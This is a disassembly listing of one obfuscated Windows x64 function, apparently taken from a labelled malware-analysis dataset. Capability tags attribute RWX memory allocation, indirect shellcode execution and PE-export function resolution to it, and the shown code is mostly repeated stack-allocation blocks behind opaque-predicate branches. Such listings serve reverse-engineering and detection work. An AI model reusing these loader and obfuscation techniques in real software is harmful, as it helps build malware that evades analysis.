Function at 0x66148710
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2238
call fcn.66182470
sub rsp, rax
lea rbp, [rsp + 0x80]
sub rsp, 0x20
call fcn.661818b0
add rsp, 0x20
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x661487b0
jmp 0x66172806
mov eax, 0x10
mov qword [rbp + 0x2010], rax
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c18], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c20], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c28], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c30], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c38], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c40], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c48], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c50], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c58], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c60], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c68], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c70], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c78], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c80], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c88], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c90], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1c98], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1ca0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1ca8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1cb0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1cb8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1cc0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1cc8], rcx
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1cd0], rax
mov eax, 0x20
mov qword [rbp + 0x2040], rax
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1cd8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1ce0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1ce8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1cf0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1cf8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1d00], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1d08], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1d10], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1d18], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1d20], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1d28], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1d30], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1d38], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d40], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d48], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d50], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d58], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d60], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d68], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d70], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d78], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d80], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d88], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d90], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1d98], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1da0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1da8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1db0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1db8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1dc0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1dc8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1dd0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1dd8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1de0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1de8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1df0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1df8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1e00], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1e08], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1e10], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e18], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e20], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e28], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e30], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e38], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e40], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e48], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e50], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e58], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e60], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e68], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e70], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e78], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e80], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e88], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e90], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1e98], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ea0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ea8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1eb0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1eb8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1ec0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ec8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ed0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ed8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ee0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ee8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ef0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ef8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f00], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f08], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f10], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f18], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f20], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f28], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f30], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f38], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f40], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f48], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f50], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f58], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f60], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f68], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f70], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f78], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x1f80], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f88], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f90], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1f98], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fa0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fa8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fb0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fb8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fc0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fc8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fd0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fd8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fe0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1fe8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ff0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x1ff8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x2000], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x2008], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2010]
mov rcx, rsp
mov qword [rbp + 0x2018], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x2020], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x2028], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x2030], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x2038], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x2040]
mov rcx, rsp
mov qword [rbp + 0x2048], rcx
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x2050], rax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x5177801c
sub edx, 1
sub edx, 0x5177801c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x66149547
jmp 0x66172806
jmp 0x6614954c
mov eax, 0x20
mov qword [rbp + 0x1c00], rax
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1770], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1778], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1780], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1788], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1790], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1798], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17a0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17a8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17b0], rcx
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x17b8], rax
mov eax, 0x10
mov qword [rbp + 0x1be8], rax
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17c0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17c8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17d0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17d8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17e0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17e8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17f0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x17f8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1800], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1808], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1810], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1818], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1820], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1828], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1830], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1838], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1840], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1848], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1850], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1858], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1860], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1868], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1be8]
mov rcx, rsp
mov qword [rbp + 0x1870], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1878], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1880], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1888], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1890], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1898], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18a0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18a8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18b0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18b8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18c0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18c8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18d0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18d8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18e0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18e8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18f0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x18f8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1900], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1908], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1910], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1918], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1920], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1928], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1930], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1938], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1940], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1be8]
mov rcx, rsp
mov qword [rbp + 0x1948], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1950], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1958], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1960], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1968], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1970], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1978], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1980], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1988], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1990], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1998], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19a0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19a8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19b0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19b8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19c0], rcx
call fcn.66182470
sub rsp, rax
